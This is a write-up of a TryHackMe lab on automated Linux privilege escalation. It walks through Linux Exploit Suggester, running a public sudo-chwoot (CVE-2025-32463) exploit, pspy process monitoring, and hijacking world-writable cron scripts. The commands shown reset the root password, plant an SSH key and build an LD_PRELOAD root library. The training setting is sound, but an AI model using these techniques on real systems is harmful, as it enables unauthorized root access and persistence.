Linux Privilege Escalation: Automation (TryHackMe)

Link to the Privilege Escalation Challenge on TryHackMe: Linux Privilege Escalation: Automation
Introduction
By now, you should have an understanding of basic privilege escalation techniques and how to enumerate and exploit them. This room will take this one step further and expand your arsenal with tools that can automate this process or help you find hidden privilege escalation vectors.
Learning Objectives
Demonstrate privilege escalation enumeration using automated tools
Demonstrate privilege escalation techniques using public exploits
Understand Linux process snooping
Prerequisites
Automated Enumeration Tools
Several tools can help you save time during the enumeration process. These tools should only be used to save time, knowing they may miss some privilege escalation vectors. Below is a list of popular Linux enumeration tools with links to their respective GitHub repositories.
The target system's environment will influence the tool you will be able to use. For example, you will not be able to run a tool written in Python if it is not installed on the target system. This is why it would be better to be familiar with a few rather than having a single go-to tool.
LinPeas(opens in new tab): Automated script that highlights privilege escalation paths across the system — misconfigs, weak permissions, credentials, and more
LinEnum(opens in new tab): Scripted local enumeration tool that dumps system info, users, crons, and SUID binaries in a readable report
LES (Linux Exploit Suggester)(opens in new tab): Matches the kernel version against known CVEs and suggests applicable local privilege escalation exploits
Linux Smart Enumeration(opens in new tab): Enumeration script with adjustable verbosity levels — starts quiet and reveals more detail as the level increases
Linux Priv Checker(opens in new tab): Enumerates system info and automatically checks for common privilege escalation opportunities, flagging issues inline
Note: You can find Linux Exploit Suggester in john's home directory.
Answer the questions below
Run Linux Exploit Suggester to enumerate the target host. What CVE is listed as the first Possible Exploit the target is vulnerable to?
Link to LES on Github: Linux Exploit Suggester (LES)
wget https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh -O les.sh
Used the attack machine to download the LES script from GitHub, then had the Python web server on port 8000 to be able to get it on our Linux machine that we were using for this challenge
wget https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh -O les.sh
--2026-06-22 18:13:18-- https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh
Resolving raw.githubusercontent.com (raw.githubusercontent.com)... 185.199.110.133, 185.199.111.133, 185.199.109.133, ...
Connecting to raw.githubusercontent.com (raw.githubusercontent.com)|185.199.110.133|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 93960 (92K) [text/plain]
Saving to: 'les.sh'
les.sh 100<a class="embed-card" href="========================================================>">========================================================></a> 91.76K --.-KB/s in 0.003s
2026-06-22 18:13:18 (32.3 MB/s) - 'les.sh' saved [93960/93960]
root@ip-10-113-78-36:~# python3 -m http.server 8000
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
10.113.142.193 - - [22/Jun/2026 18:14:04] "GET /les.sh HTTP/1.1" 200 -
Linux machine
wget http://10.114.69.125:8000/les.sh
command with expected output:
wget http://ATTACK_IP:8000/les.sh
--2026-06-22 18:14:03-- http://10.113.78.36:8000/les.sh
Connecting to 10.113.78.36:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 93960 (92K) [text/x-sh]
Saving to: ‘les.sh.1’
les.sh.1 100<a class="embed-card" href="=======================================================>">=======================================================></a> 91.76K --.-KB/s in 0s
2026-06-22 18:14:03 (439 MB/s) - ‘les.sh.1’ saved [93960/93960]
the goal was the first CVE:
chmod +x les.sh.1
john@public-exploit:~$ ./les.sh.1
Available information:
Kernel version: 6.17.0
Architecture: x86_64
Distribution: ubuntu
Distribution version: 24.04
Additional checks (CONFIG_*, sysctl entries, custom Bash commands): performed
Package listing: from current OS
Searching among:
86 kernel space exploits
50 user space exploits
Possible Exploits:
[+] [CVE-2025-32463] sudo-chwoot
Details: https://www.stratascale.com/resource/cve-2025-32463-sudo-chroot-elevation-of-privilege/
Exposure: less probable
Tags: ubuntu=24.04.1,fedora=41
Download URL: https://github.com/mirchr/CVE-2025-32463-sudo-chwoot/archive/refs/heads/main.zip
[+] [CVE-2022-2586] nft_object UAF
Details: https://www.openwall.com/lists/oss-security/2022/08/29/5
Exposure: less probable
Privilege Escalation: Public Exploits
Public Exploits
Many privilege escalation techniques rely on misconfigurations; a sudo rule that's too permissive, a cron job calling a world-writable script, or a capability assigned to a binary that shouldn't have one. In these cases, the software is working exactly as designed; someone just configured it poorly.
Public exploits are different. Here, the software itself is broken. A bug in the code (a buffer overflow, a race condition, a logic error) allows you to do something the developers never intended. When these bugs are discovered, they're assigned a CVE (Common Vulnerabilities and Exposures) identifier, and often, working exploit code is published publicly.
Methodology
Using a public exploit isn't just about downloading code and running it. There's a process, and skipping steps is how you crash machines or waste hours on exploits that were never going to work. The general workflow looks like this:
Enumerate: Identify what software is installed and what versions are running. You already know how to do this from the enumeration lab. Key things to note: kernel version, distro version, and any SUID binaries or services running as root.
Research: Take what you found and search for known vulnerabilities. Is there a CVE for that version? Is there a public exploit available? Does it match your target's architecture and distribution?
Evaluate: Not every exploit you find will work. Read the code. Understand what it does. Check the requirements: does it need
gccon the target? Does it only work on specific kernel versions? Will it crash the system?Exploit: Transfer the exploit to the target, compile it if necessary, and run it.
Verify: Confirm you have elevated privileges. Check
whoami,id, and try accessing something you couldn't before.
Where to Find Public Exploits
There are several go-to resources for finding exploit code. You should be comfortable using all of them.
searchsploit (Exploit-DB offline)
searchsploit is a command-line tool that searches a local copy of the Exploit-DB database. It comes pre-installed on Kali.
Usage:
searchsploit <software> <version>
GitHub
GitHub has many repositories containing public exploits for known CVEs. If you ever find a CVE for a specific software version, you can do a Google search for a GitHub repository.
CVE-<id> github
Enumeration Tools
Tools like Linpeas don't just identify misconfigurations — they also check for known CVEs. If Linpeas flags a vulnerable version of software, it will often include the CVE number, which gives you a direct starting point for your research.
Kernel Exploits
The kernel is the most privileged piece of software on a Linux system. A vulnerability in the kernel can allow you to jump straight from an unprivileged user to root, regardless of how well everything else is configured.
Reminder on how to enumerate the kernel version on a target:
uname -r
uname -a
cat /etc/os-release
Then search for known exploits against that version using searchsploit or Google.
Non-Kernel Public Exploits
Not all public exploits target the kernel. Many privilege escalation CVEs exist in userland software — programs and utilities that happen to run with elevated privileges. These are often easier to exploit and less likely to crash the system.
Next, you will have to use a public exploit to gain root privileges on the target machine. Previously, you identified that the target is vulnerable to a CVE. Now you have to exploit this to gain root privileges. You can find the exploit on GitHub, download it onto your AttackBox, then upload it onto the target using scp.
scp <file> john@MACHINE_IP:/home/john/
Answer the questions below
Exploit the previously identified vulnerability. What is the content of /root/flag.txt?
For this next section, it can be a bit frustrating, working around the machine and maybe following the walkthrough.
We start by cloning the CVE on the root machine before using the
scpcommand to have it on John's machine
git clone https://github.com/zinzloun/CVE-2025-32463.git
Cloning into 'CVE-2025-32463'...
remote: Enumerating objects: 46, done.
remote: Counting objects: 100% (46/46), done.
remote: Compressing objects: 100% (46/46), done.
remote: Total 46 (delta 21), reused 0 (delta 0), pack-reused 0 (from 0)
Receiving objects: 100% (46/46), 20.45 KiB | 4.09 MiB/s, done.
Resolving deltas: 100% (21/21), done.
scp -r CVE-2025-32463/ john@10.113.190.29:/home/john/
john@10.113.190.29's password:
index 100% 361 417.9KB/s 00:00
description 100% 73 40.4KB/s 00:00
packed-refs 100% 112 167.5KB/s 00:00
exclude 100% 240 406.3KB/s 00:00
pack-dff08356fd10768b3363cacc001dc12afaef3ccb.rev 100% 236 335.9KB/s 00:00
pack-dff08356fd10768b3363cacc001dc12afaef3ccb.pack 100% 20KB 17.7MB/s 00:00
pack-dff08356fd10768b3363cacc001dc12afaef3ccb.idx 100% 2360 2.0MB/s 00:00
HEAD 100% 21 35.2KB/s 00:00
HEAD 100% 30 33.3KB/s 00:00
main 100% 41 15.7KB/s 00:00
config 100% 267 296.1KB/s 00:00
sendemail-validate.sample 100% 2308 3.1MB/s 00:00
prepare-commit-msg.sample 100% 1492 2.0MB/s 00:00
update.sample 100% 3650 3.1MB/s 00:00
pre-commit.sample 100% 1643 560.8KB/s 00:00
applypatch-msg.sample 100% 478 516.2KB/s 00:00
pre-rebase.sample 100% 4898 4.8MB/s 00:00
fsmonitor-watchman.sample 100% 4726 5.1MB/s 00:00
pre-push.sample 100% 1374 1.5MB/s 00:00
commit-msg.sample 100% 896 1.0MB/s 00:00
push-to-checkout.sample 100% 2783 2.6MB/s 00:00
post-update.sample 100% 189 216.8KB/s 00:00
pre-applypatch.sample 100% 424 457.8KB/s 00:00
pre-receive.sample 100% 544 690.8KB/s 00:00
pre-merge-commit.sample 100% 416 477.6KB/s 00:00
HEAD 100% 195 263.1KB/s 00:00
HEAD 100% 195 241.5KB/s 00:00
main 100% 195 322.2KB/s 00:00
LICENSE 100% 11KB 6.0MB/s 00:00
woot1337.so.2 100% 15KB 16.8MB/s 00:00
poc.sh 100% 517 749.8KB/s 00:00
README.md
Back to John's Linux machine
john@public-exploit:~$ ls
CVE-2025-32463 linux-exploit-suggester
john@public-exploit:~$ cd CVE-2025-32463
john@public-exploit:~/CVE-2025-32463$ ls
LICENSE README.md poc.sh woot1337.so.2
john@public-exploit:~/CVE-2025-32463$ chmod +x poc.sh
john@public-exploit:~/CVE-2025-32463$ ./poc.sh
woot!
root@public-exploit:/# cat /root/flag.txt
THM{splo1ts-r-REDACTED}
pspy - Unprivileged Process Monitoring
The Polling Issue
While the automated tools mentioned in the previous task are excellent at enumerating static misconfigurations, they only capture a snapshot of the system at the time they run. They can't tell you what processes are running in the background, especially short-lived ones like cron jobs or scheduled scripts that execute and exit in milliseconds. This is where pspy(opens in new tab) fills the gap.
pspy is a process monitoring tool that lets unprivileged users observe running processes, cron jobs, and commands executed by other users in real time, without requiring root privileges.
Event-driven Approach
On Linux, processes are isolated — low-privileged users can only see their own processes via /proc. Short-lived tasks (like cron jobs) may exit before anyone can observe them, making traditional polling tools unreliable for discovery.
pspy uses an event-driven approach instead of polling. It sets inotify watches on commonly accessed directories (e.g., /etc, /tmp, /usr, /var). When filesystem activity is detected, pspy scans /proc to identify the new process, capturing its UID, PID, timestamp, and full command — even for processes run by other users.
This works because process metadata in /proc is briefly available during a process's lifetime, even to unprivileged users. pspy doesn't bypass any kernel permissions — it just reacts fast enough to catch what polling tools miss.
Using pspy
pspy can be found in /home/john/.
Run pspy from john's home directory as such:
./pspy64
After a short delay, you should see a root process, similar to the example below.
Terminal
2026/02/10 06:40:11 CMD: UID=0 PID=12 |
2026/02/10 06:40:11 CMD: UID=0 PID=11 |
2026/02/10 06:40:11 CMD: UID=0 PID=10 |
2026/02/10 06:40:11 CMD: UID=0 PID=9 |
2026/02/10 06:40:11 CMD: UID=0 PID=8 |
2026/02/10 06:40:11 CMD: UID=0 PID=7 |
2026/02/10 06:40:11 CMD: UID=0 PID=6 |
2026/02/10 06:40:11 CMD: UID=0 PID=5 |
2026/02/10 06:40:11 CMD: UID=0 PID=4 |
2026/02/10 06:40:11 CMD: UID=0 PID=3 |
2026/02/10 06:40:11 CMD: UID=0 PID=2 |
2026/02/10 06:40:11 CMD: UID=0 PID=1 | /sbin/init
2026/02/10 06:40:16 CMD: UID=0 PID=1937 | /bin/bash /root/run-backup.sh
2026/02/10 06:40:16 CMD: UID=0 PID=1938 | tar -czf /var/backup/syslog.tar.gz /var/log/syslog
2026/02/10 06:40:16 CMD: UID=0 PID=1939 | /bin/sh -c gzip
2026/02/10 06:40:16 CMD: UID=0 PID=1940 | gzip
2026/02/10 06:40:16 CMD: UID=0 PID=1941 | sleep 10
2026/02/10 06:40:16 CMD: UID=0 PID=1942 | /bin/bash /root/run-rm-tmp.sh
2026/02/10 06:40:16 CMD: UID=0 PID=1943 | /bin/bash /usr/local/bin/rm-tmp.sh
2026/02/10 06:40:16 CMD: UID=0 PID=1944 | /bin/bash /usr/local/bin/rm-tmp.sh
2026/02/10 06:40:16 CMD: UID=0 PID=1945 |
2026/02/10 06:40:16 CMD: UID=0 PID=1946 | chpasswd
2026/02/10 06:40:16 CMD: UID=0 PID=1948 | /bin/bash /root/run-rm-tmp.sh
As you can see, root (UID=0) is running a script in the /root folder (which is not accessible by low-level users) and another one in /usr/local/bin.
Checking the file permissions and contents reveals the following:
Terminal
john@privesc:~$ ls -la /usr/local/bin/rm-tmp.sh
-rwxrwxrwx 1 root root 57 Jan 20 10:27 /usr/local/bin/rm-tmp.sh
john@privesc:~$ cat /usr/local/bin/rm-tmp.sh
#!/bin/bash
rm -r /tmp/*
It appears that this script is meant to clear the /tmp folder; however, since the script is world-writable and runs in a loop as root, you can add your own command to escalate privileges. In the example below, a command was added to change the root password.
Terminal
#!/bin/bash
rm -r /tmp/*
echo "root:newpass" | chpasswd
Finally, you can log in as the root user by just calling the su command and inputting the new password.
Terminal
john@privesc:~$ su
Password:
root@privesc:/home/john#
Next, you will have to use pspy to facilitate the exploitation of a similar scenario and gain root privileges.
Answer the questions below
What is the full path of the script vulnerable to privilege escalation?
./pspy64
cat /etc/crontab
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.
SHELL=/bin/sh
# You can also override PATH, but by default, newer versions inherit it from the environment
#PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
# Example of job definition:
# .---------------- minute (0 - 59)
# | .------------- hour (0 - 23)
# | | .---------- day of month (1 - 31)
# | | | .------- month (1 - 12) OR jan,feb,mar,apr ...
# | | | | .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat
# | | | | |
# * * * * * user-name command to be executed
17 * * * * root cd / && run-parts --report /etc/cron.hourly
25 6 * * * root test -x /usr/sbin/anacron || { cd / && run-parts --report /etc/cron.daily; }
47 6 * * 7 root test -x /usr/sbin/anacron || { cd / && run-parts --report /etc/cron.weekly; }
52 6 1 * * root test -x /usr/sbin/anacron || { cd / && run-parts --report /etc/cron.monthly; }
#
cat /etc/cron.d/*
30 3 * * 0 root test -e /run/systemd/system || SERVICE_MODE=1 /usr/lib/x86_64-linux-gnu/e2fsprogs/e2scrub_all_cron
10 3 * * * root test -e /run/systemd/system || SERVICE_MODE=1 /sbin/e2scrub_all -A -r
# The first element of the path is a directory where the debian-sa1
# script is located
PATH=/usr/lib/sysstat:/usr/sbin:/usr/sbin:/usr/bin:/sbin:/bin
# Activity reports every 10 minutes everyday
5-55/10 * * * * root command -v debian-sa1 > /dev/null && debian-sa1 1 1
# Additional run at 23:59 to rotate the statistics file
59 23 * * * root command -v debian-sa1 > /dev/null && debian-sa1 60 2
find / -type f -writable -name "*.sh" 2>/dev/null
/var/local/syslog-backup.sh
What is the flag in /root/flag.txt?
john@privesc:~$ ls -la /usr/local/bin/*.sh 2>/dev/null
john@privesc:~$ cat /var/local/syslog-backup.sh
#!/bin/bash
tar -czf "/var/backup/syslog.tar.gz" "/var/log/syslog"
john@privesc:~$ ls -la /var/local/syslog-backup.sh
-rwxrwxrwx 1 root staff 69 Jan 20 08:58 /var/local/syslog-backup.sh
john@privesc:~$ echo 'echo "root:newpass" | chpasswd' >> /var/local/syslog-backup.sh
john@privesc:~$ su
Password:
su: Authentication failure
john@privesc:~$ su
Password:
root@privesc:/home/john# pwd
/home/john
root@privesc:/home/john# cat /root/flag.txt
THM{getting-root-with-REDACTED}
Challenge
It is now time for you to apply the privilege escalation techniques you've learned to enumerate and exploit the target machine. If you need any tools, feel free to download them onto your attacker machine, then upload them onto the target using scp.
scp <file> john@MACHINE_IP:/home/john/
Answer the questions below
What are the contents of /home/frank/flag.txt?
find / -type f -perm -4000 2>/dev/null
/snap/core20/2379/usr/bin/chfn
/snap/core20/2379/usr/bin/chsh
/snap/core20/2379/usr/bin/gpasswd
/snap/core20/2379/usr/bin/mount
/snap/core20/2379/usr/bin/newgrp
/snap/core20/2379/usr/bin/passwd
/snap/core20/2379/usr/bin/su
/snap/core20/2379/usr/bin/sudo
/snap/core20/2379/usr/bin/umount
/snap/core20/2379/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/snap/core20/2379/usr/lib/openssh/ssh-keysign
/snap/core/17292/bin/mount
/snap/core/17292/bin/ping
/snap/core/17292/bin/ping6
/snap/core/17292/bin/su
/snap/core/17292/bin/umount
/snap/core/17292/usr/bin/chfn
/snap/core/17292/usr/bin/chsh
/snap/core/17292/usr/bin/gpasswd
/snap/core/17292/usr/bin/newgrp
/snap/core/17292/usr/bin/passwd
/snap/core/17292/usr/bin/sudo
/snap/core/17292/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/snap/core/17292/usr/lib/openssh/ssh-keysign
/snap/core/17292/usr/lib/snapd/snap-confine
/snap/core/17292/usr/sbin/pppd
/snap/core/17272/bin/mount
/snap/core/17272/bin/ping
/snap/core/17272/bin/ping6
/snap/core/17272/bin/su
/snap/core/17272/bin/umount
/snap/core/17272/usr/bin/chfn
/snap/core/17272/usr/bin/chsh
/snap/core/17272/usr/bin/gpasswd
/snap/core/17272/usr/bin/newgrp
/snap/core/17272/usr/bin/passwd
/snap/core/17272/usr/bin/sudo
/snap/core/17272/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/snap/core/17272/usr/lib/openssh/ssh-keysign
/snap/core/17272/usr/lib/snapd/snap-confine
/snap/core/17272/usr/sbin/pppd
/snap/core18/1885/bin/mount
/snap/core18/1885/bin/ping
/snap/core18/1885/bin/su
/snap/core18/1885/bin/umount
/snap/core18/1885/usr/bin/chfn
/snap/core18/1885/usr/bin/chsh
/snap/core18/1885/usr/bin/gpasswd
/snap/core18/1885/usr/bin/newgrp
/snap/core18/1885/usr/bin/passwd
/snap/core18/1885/usr/bin/sudo
/snap/core18/1885/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/snap/core18/1885/usr/lib/openssh/ssh-keysign
/snap/core22/1621/usr/bin/chfn
/snap/core22/1621/usr/bin/chsh
/snap/core22/1621/usr/bin/gpasswd
/snap/core22/1621/usr/bin/mount
/snap/core22/1621/usr/bin/newgrp
/snap/core22/1621/usr/bin/passwd
/snap/core22/1621/usr/bin/su
/snap/core22/1621/usr/bin/sudo
/snap/core22/1621/usr/bin/umount
/snap/core22/1621/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/snap/core22/1621/usr/lib/openssh/ssh-keysign
/snap/core22/1621/usr/libexec/polkit-agent-helper-1
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
/usr/lib/polkit-1/polkit-agent-helper-1
/usr/bin/chfn
/usr/bin/sudo
/usr/bin/umount
/usr/bin/passwd
/usr/bin/gpasswd
/usr/bin/newgrp
/usr/bin/chsh
/usr/bin/fusermount3
/usr/bin/su
/usr/bin/mount
su frank
Password:
su: Authentication failure
john@challenge:~$ ls -la /home
total 20
drwxr-xr-x 5 root root 4096 Mar 12 08:36 .
drwxr-xr-x 22 root root 4096 Jun 22 19:32 ..
drwxr-xr-x 3 frank frank 4096 Mar 12 08:37 frank
drwxr-x--- 4 john john 4096 Jun 22 19:48 john
drwxr-xr-x 5 ubuntu ubuntu 4096 May 19 05:11 ubuntu
john@challenge:~$ ls -la /home/frank
total 16
drwxr-xr-x 3 frank frank 4096 Mar 12 08:37 .
drwxr-xr-x 5 root root 4096 Mar 12 08:36 ..
drwxr-xr-x 2 frank frank 4096 Mar 12 08:37 Documents
-rw------- 1 frank frank 24 Mar 12 08:36 flag.txt
john@challenge:~$ ls -la /home/frank/Documents
total 20
drwxr-xr-x 2 frank frank 4096 Mar 12 08:37 .
drwxr-xr-x 3 frank frank 4096 Mar 12 08:37 ..
-rw-r--r-- 1 frank frank 39 Mar 12 08:37 budget-2025.csv
-rw-r--r-- 1 frank frank 41 Mar 12 08:37 meeting-notes.txt
-rw-r--r-- 1 frank frank 37 Mar 12 08:37 report-q3.txt
john@challenge:~$ cat /home/frank/Documents/meeting-notes.txt
Internal meeting-notes.txt - confidentialjohn@challenge:~$ cat /home/frank/Documents/report-q3.txt
Internal report-q3.txt - confidentialjohn@challenge:~$ cat /home/frank/Documents/budget-2025.csv
Internal budget-2025.csv - confidential
cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
john:x:1001:1001::/home/john:/bin/bash
frank:x:1002:1002::/home/frank:/bin/bash
Attackbox
git clone https://github.com/zinzloun/CVE-2025-32463.git
Cloning into 'CVE-2025-32463'...
remote: Enumerating objects: 46, done.
remote: Counting objects: 100% (46/46), done.
remote: Compressing objects: 100% (46/46), done.
remote: Total 46 (delta 21), reused 0 (delta 0), pack-reused 0 (from 0)
Receiving objects: 100% (46/46), 20.45 KiB | 2.27 MiB/s, done.
Resolving deltas: 100% (21/21), done.
root@ip-10-114-69-125:~# scp -r CVE-2025-32463/ john@10.114.155.225:/home/john/
john@10.114.155.225's password:
index 100% 361 420.8KB/s 00:00
description 100% 73 76.7KB/s 00:00
packed-refs 100% 112 126.4KB/s 00:00
exclude 100% 240 259.0KB/s 00:00
pack-dff08356fd10768b3363cacc001dc12afaef3ccb.rev 100% 236 188.1KB/s 00:00
pack-dff08356fd10768b3363cacc001dc12afaef3ccb.pack 100% 20KB 16.9MB/s 00:00
pack-dff08356fd10768b3363cacc001dc12afaef3ccb.idx 100% 2360 2.9MB/s 00:00
HEAD 100% 21 7.8KB/s 00:00
HEAD 100% 30 35.8KB/s 00:00
main 100% 41 36.0KB/s 00:00
config 100% 267 259.8KB/s 00:00
sendemail-validate.sample 100% 2308 2.5MB/s 00:00
prepare-commit-msg.sample 100% 1492 1.6MB/s 00:00
update.sample 100% 3650 3.9MB/s 00:00
pre-commit.sample 100% 1643 1.4MB/s 00:00
applypatch-msg.sample 100% 478 435.4KB/s 00:00
pre-rebase.sample 100% 4898 4.0MB/s 00:00
fsmonitor-watchman.sample 100% 4726 3.9MB/s 00:00
pre-push.sample 100% 1374 1.3MB/s 00:00
commit-msg.sample 100% 896 1.0MB/s 00:00
push-to-checkout.sample 100% 2783 2.6MB/s 00:00
post-update.sample 100% 189 226.2KB/s 00:00
pre-applypatch.sample 100% 424 497.7KB/s 00:00
pre-receive.sample 100% 544 594.4KB/s 00:00
pre-merge-commit.sample 100% 416 319.0KB/s 00:00
HEAD 100% 194 196.5KB/s 00:00
HEAD 100% 194 241.5KB/s 00:00
main 100% 194 212.1KB/s 00:00
LICENSE 100% 11KB 10.3MB/s 00:00
woot1337.so.2 100% 15KB 11.3MB/s 00:00
poc.sh 100% 517 665.7KB/s 00:00
README.md 100% 1654 1.6MB/s 00:00
uname -r
./les.sh | head -50
find / -writable -type f -name "*.sh" 2>/dev/null
6.17.0-1013-aws
Available information:
Kernel version: 6.17.0
Architecture: x86_64
Distribution: ubuntu
Distribution version: 24.04
Additional checks (CONFIG_*, sysctl entries, custom Bash commands): performed
Package listing: from current OS
Searching among:
86 kernel space exploits
50 user space exploits
Possible Exploits:
[+] [CVE-2025-32463] sudo-chwoot
Details: https://www.stratascale.com/resource/cve-2025-32463-sudo-chroot-elevation-of-privilege/
Exposure: less probable
Tags: ubuntu=24.04.1,fedora=41
Download URL: https://github.com/mirchr/CVE-2025-32463-sudo-chwoot/archive/refs/heads/main.zip
[+] [CVE-2022-2586] nft_object UAF
Details: https://www.openwall.com/lists/oss-security/2022/08/29/5
Exposure: less probable
Tags: ubuntu=(20.04){kernel:5.12.13}
Download URL: https://www.openwall.com/lists/oss-security/2022/08/29/5/1
Comments: kernel.unprivileged_userns_clone=1 required (to obtain CAP_NET_ADMIN)
[+] [CVE-2021-4034] PwnKit
Details: https://www.qualys.com/2022/01/25/cve-2021-4034/pwnkit.txt
Exposure: less probable
Tags: ubuntu=10|11|12|13|14|15|16|17|18|19|20|21,debian=7|8|9|10|11,fedora,manjaro
Download URL: https://codeload.github.com/berdav/CVE-2021-4034/zip/main
[+] [CVE-2021-3156] sudo Baron Samedit
Details: https://www.qualys.com/2021/01/26/cve-2021-3156/baron-samedit-heap-based-overflow-sudo.txt
Exposure: less probable
Tags: mint=19,ubuntu=18|20, debian=10
Download URL: https://codeload.github.com/blasty/CVE-2021-3156/zip/main
[+] [CVE-2021-3156] sudo Baron Samedit 2
Details: https://www.qualys.com/2021/01/26/cve-2021-3156/baron-samedit-heap-based-overflow-sudo.txt
Exposure: less probable
/opt/scripts/backup.sh
/home/john/CVE-2025-32463/poc.sh
/home/john/les.sh
cat /opt/scripts/backup.sh
#!/bin/bash
tar czf /tmp/backup-$(date +%Y%m%d).tar.gz /home/frank/Documents 2>/dev/null
john@challenge:~$ ls -la /opt/scripts/backup.sh
-rwxrwxrwx 1 frank frank 89 Mar 12 08:37 /opt/scripts/backup.sh
echo 'cp /home/frank/flag.txt /tmp/flag.txt && chmod 644 /tmp/flag.txt' >> /opt/scripts/backup.sh
john@challenge:~$ cat /frank/flag.txt
cat: /frank/flag.txt: No such file or directory
john@challenge:~$ cat /tmp/flag.txt
THM{Frank_Pwned_REDACTED}
What are the contents of /root/flag.txt?
ssh-keygen -f /tmp/frankkey -N ""
Generating public/private ed25519 key pair.
Your identification has been saved in /tmp/frankkey
Your public key has been saved in /tmp/frankkey.pub
The key fingerprint is:
SHA256:dl1ELe/bfCdppuPwgcbIsTg2Htm+i1wdcq2SDnS+r+0 john@challenge
The key's randomart image is:
+--[ED25519 256]--+
| .o. |
| .. .|
| .o |
| o . .|
| . S + o . |
| . O @ + .|
| O X B . oo|
| + X = o..=.=|
| + B*E.+= .o|
+----[SHA256]-----+
john@challenge:~$ echo 'mkdir -p /home/frank/.ssh && cat /tmp/frankkey.pub >> /home/frank/.ssh/authorized_keys && chmod 600 /home/frank/.ssh/authorized_keys' >> /opt/scripts/backup.sh
john@challenge:~$ ssh -i /tmp/frankkey frank@10.114.155.225
Welcome to Ubuntu 24.04.4 LTS (GNU/Linux 6.17.0-1013-aws x86_64)
frank@challenge:~$ sudo -l
Matching Defaults entries for frank on challenge:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty,
env_keep+=LD_PRELOAD
User frank may run the following commands on challenge:
(root) NOPASSWD: /usr/bin/id
frank@challenge:~$ which gcc
/usr/bin/gcc
frank@challenge:~$ cat >> /opt/scripts/backup.sh << 'EOF'
cat > /tmp/shell.c << 'CEOF'
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init() {
unsetenv("LD_PRELOAD");
setgid(0);
setuid(0);
system("/bin/bash -c 'echo root:newpass | chpasswd'");
}
CEOF
gcc -fPIC -shared -o /tmp/shell.so /tmp/shell.c -nostartfiles
sudo LD_PRELOAD=/tmp/shell.so /usr/bin/id
EOF
su
Password:
root@challenge:/home/frank# cat /root/flag.txt
THM{Priv_Ch@l_REDACTED}
Conclusion
In this room, you sped up privilege escalation by adding automation to your workflow.
You used automated enumeration tools to quickly surface misconfigurations and vulnerable software, learning that no single tool catches everything.
You then worked with public exploits, following a clear methodology
Finally, with pspy, you covered the blind spot that scanners miss: short-lived processes.
The takeaway: automation is a force multiplier, not a replacement for understanding. The tools show you where to look, but you still have to know what you're looking at.



